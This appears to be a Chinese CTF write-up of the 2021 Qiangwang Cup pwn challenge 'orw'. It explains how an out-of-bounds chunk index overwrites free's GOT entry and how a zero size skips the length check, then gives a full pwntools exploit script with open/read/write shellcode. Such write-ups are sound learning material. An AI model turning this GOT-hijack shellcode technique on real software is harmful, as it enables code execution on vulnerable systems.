2021 强网杯 [强网先锋]orw

在这里插入图片描述RELRO没都开,能劫持got,NX也没开,总得写点shellcode。

在这里插入图片描述开了沙箱。
在这里插入图片描述

是个堆。
在这里插入图片描述
只能申请两个chunk,但是好像有个序号可以越界。

show edit都丢了,只剩了一个free
在这里插入图片描述free还挺干净。

那所以我们就直接堆shellcode算了,直接数组越界,chunk地址直接写到got表,然后在那个chunk里面布置shellcode,从而劫持got表,来orw。

但是问题来了,chunk的大小限制在了0-8,也就是不会整个chunk大小不会超过0x20.能够输入大小不超过8,这就不能写shellcode。

在这里插入图片描述然后我们看这个输入,我们发现……当输入0的时候,这个输入限制就绕过了……然后应该就成了。

exp

from pwn import*

context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"

r = process("./orw")
elf = ELF("./orw")

def add(index, size, content):
    r.sendlineafter('choice >>', '1')
    r.sendlineafter(':', str(index))
    r.sendlineafter(':', str(size))
    r.sendafter(':', content)


def delete(index):
    r.sendlineafter('choice >>', '4')
    r.sendlineafter(':', str(index))

self_addr = 0x2020e0
free_got = 0x202018
shellcode = shellcraft.open('flag')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
shellcode += shellcraft.ret()

fake_free = asm(shellcode)

add((free_got - self_addr)/8, 0, fake_free + '\n')
delete(0)

r.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值